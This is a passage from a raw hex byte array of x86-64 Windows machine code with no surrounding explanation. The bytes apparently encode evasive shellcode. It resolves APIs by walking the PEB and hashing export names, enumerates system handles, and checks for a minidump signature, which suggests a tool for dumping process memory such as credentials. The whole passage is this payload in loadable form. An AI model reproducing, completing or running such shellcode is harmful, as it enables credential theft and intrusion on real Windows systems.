0,0xE8,0x41,0x95,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x18,0x66,0x89,0x10,0xE8,0x1C,0x95,0x00,0x00,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x18,0x66,0x89,0x10,0x48,0x8B,0x45,0x20,0x66,0xC7,0x00,0x00,0x00,0xE8,0xF5,0x94,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x20,0x66,0x89,0x10,0xE8,0xD0,0x94,0x00,0x00,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x20,0x66,0x89,0x10,0x48,0x8B,0x45,0x10,0x8B,0x00,0x3D,0x4D,0x44,0x4D,0x50,0x0F,0x84,0x00,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x66,0x3D,0x93,0xA7,0x0F,0x84,0xEF,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x0F,0x84,0xDF,0xFE,0xFF,0xFF,0x90,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1F,0x49,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x90,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xE8,0x00,0x02,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xFC,0x8B,0x45,0xE8,0x89,0x45,0xFC,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0x67,0x25,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5B,0x25,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0x44,0x8B,0x45,0xE8,0x48,0x8B,0x4D,0xF0,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xE8,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x1B,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA3,0x44,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x1B,0x48,0x8B,0x45,0x28,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x30,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xFC,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5A,0x93,0x00,0x00,0x48,0x8B,0x05,0xCB,0x24,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC3,0x24,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x23,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xDF,0x43,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF5,0x52,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0x48,0x89,0x4D,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xEC,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xFB,0xFD,0xFF,0xFF,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x1F,0x01,0x00,0x00,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x55,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDF,0x91,0x00,0x00,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0x4C,0x23,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x48,0x23,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBE,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x08,0x48,0x8D,0x15,0x0B,0xB4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0D,0x92,0x00,0x00,0x48,0x85,0xC0,0x74,0x52,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6E,0x91,0x00,0x00,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0xDB,0x22,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD7,0x22,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xEB,0x50,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1C,0x91,0x00,0x00,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0x89,0x22,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x85,0x22,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x48,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x83,0x7D,0x10,0x00,0x75,0x0E,0x48,0x83,0x7D,0x18,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x83,0x7D,0x10,0x00,0x74,0x2D,0x8B,0x45,0x10,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x89,0xC1,0xE8,0x43,0x14,0x00,0x00,0x48,0x89,0x45,0x18,0x48,0x83,0x7D,0x18,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x48,0x8B,0x45,0x18,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFB,0x45,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0xBA,0x00,0x00,0x00,0x00,0xB9,0x00,0x10,0x00,0x00,0xE8,0x7C,0x13,0x00,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x48,0x8B,0x45,0xF8,0x48,0x89,0xC1,0xE8,0x18,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0x48,0x8B,0x45,0xF8,0x48,0x89,0xC1,0xE8,0x77,0x40,0x00,0x00,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xDC,0x60,0x00,0x00,0x00,0x8B,0x45,0xDC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x39,0xD0,0x72,0x2A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x40,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x73,0x0A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xEB,0x1A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0xAD,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x6A,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x0F,0xB7,0x00,0x66,0x3D,0x4D,0x5A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4E,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x3D,0x50,0x45,0x00,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x25,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xEE,0x0F,0xB7,0x45,0xEE,0x25,0x00,0x20,0x00,0x00,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xD4,0x60,0x00,0x00,0x00,0x8B,0x45,0xD4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0xEB,0x47,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x39,0x45,0x10,0x74,0x2A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x8B,0x55,0x18,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAE,0x01,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x74,0x09,0x48,0x8B,0x45,0xD8,0xEB,0x1E,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0xAF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x68,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x00,0x03,0x00,0x00,0x48,0x89,0x95,0x08,0x03,0x00,0x00,0x48,0x8B,0x85,0x08,0x03,0x00,0x00,0xBA,0x2E,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x40,0x8E,0x00,0x00,0x48,0x83,0xC0,0x01,0x48,0x89,0x85,0xD8,0x02,0x00,0x00,0x48,0x8B,0x95,0xD8,0x02,0x00,0x00,0x48,0x8B,0x85,0x08,0x03,0x00,0x00,0x48,0x29,0xC2,0x89,0x95,0xD4,0x02,0x00,0x00,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x89,0xFA,0x89,0x02,0x48,0x83,0xC2,0x04,0x88,0x02,0x48,0x83,0xC2,0x01,0x8B,0x8D,0xD4,0x02,0x00,0x00,0x48,0x8B,0x95,0x08,0x03,0x00,0x00,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xD1,0x8D,0x00,0x00,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB2,0x8D,0x00,0x00,0x48,0x89,0xC2,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x48,0x01,0xD0,0xC7,0x00,0x64,0x6C,0x6C,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x32,0x8D,0x00,0x00,0x48,0x8D,0x45,0xA0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5E,0x02,0x00,0x00,0x48,0x89,0x85,0xC8,0x02,0x00,0x00,0x48,0x83,0xBD,0xC8,0x02,0x00,0x00,0x00,0x75,0x30,0x48,0x8B,0x85,0xD8,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE5,0x36,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0x00,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2A,0xFE,0xFF,0xFF,0x48,0x89,0x85,0xC0,0x02,0x00,0x00,0x48,0x8B,0x85,0xC0,0x02,0x00,0x00,0xEB,0x34,0x48,0x8B,0x85,0xD8,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB5,0x36,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC8,0x02,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0x00,0x00,0x00,0x48,0x89,0x85,0xC0,0x02,0x00,0x00,0x48,0x8B,0x85,0xC0,0x02,0x00,0x00,0x48,0x81,0xC4,0x68,0x03,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0xC0,0x66,0x89,0x45,0x20,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x30,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA9,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x05,0x88,0x00,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xD8,0x8B,0x40,0x04,0x85,0xC0,0x74,0x0A,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x5F,0x01,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD8,0x8B,0x40,0x04,0x89,0x45,0xCC,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x1C,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x20,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x24,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x0F,0x84,0x81,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x6A,0x8B,0x45,0xF4,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0xA8,0x48,0x89,0xC1,0xE8,0x6B,0x35,0x00,0x00,0x39,0x45,0x18,0x75,0x34,0x8B,0x45,0xF4,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xB0,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0xEB,0x3F,0x83,0x45,0xF4,0x01,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x18,0x39,0x45,0xF4,0x72,0x8A,0xEB,0x2D,0x0F,0xB7,0x55,0x20,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x10,0x29,0xC2,0x89,0xD0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x38,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xD0,0x48,0x39,0xC2,0x72,0x27,0x8B,0x55,0xCC,0x48,0x8B,0x45,0xD0,0x48,0x01,0xD0,0x48,0x8B,0x55,0xF8,0x48,0x39,0xC2,0x73,0x14,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB6,0xFC,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xC8,0x60,0x00,0x00,0x00,0x8B,0x45,0xC8,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0x10,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xED,0x8A,0x00,0x00,0x48,0x85,0xC0,0x0F,0x95,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x29,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x50,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5D,0x1C,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x36,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xE9,0x03,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x60,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0x34,0x1C,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0D,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xE9,0xDA,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0x93,0x83,0x7D,0x18,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xB5,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x78,0xAC,0x00,0x00,0x48,0x89,0xC1,0xE8,0x05,0xFF,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDA,0xEC,0x01,0xA3,0x48,0x89,0xC1,0xE8,0x13,0xFD,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7C,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x52,0x87,0x00,0x00,0x66,0x89,0x45,0xB0,0x0F,0xB7,0x45,0xB0,0x01,0xC0,0x66,0x89,0x45,0xB0,0x0F,0xB7,0x45,0xB0,0x83,0xC0,0x02,0x66,0x89,0x45,0xB2,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xA8,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x45,0xD0,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xFF,0xD0,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xA8,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x6F,0x1A,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x60,0x1A,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x0B,0x01,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x6A,0xAB,0x00,0x00,0x48,0x89,0xC1,0xE8,0x54,0x11,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xE4,0x00,0x00,0x00,0x48,0x8D,0x55,0xD4,0x48,0x8D,0x45,0xD8,0x48,0x89,0xC1,0xE8,0xF6,0x0C,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xCA,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0x95,0x00,0x00,0x00,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x20,0x75,0x5C,0x48,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x75,0x50,0x48,0x8B,0x45,0xE0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD0,0x39,0xC2,0x75,0x41,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x77,0x62,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x40,0x06,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xE8,0x89,0x0A,0x4C,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x89,0xC0,0x48,0x89,0x4C,0xC2,0x08,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x5C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01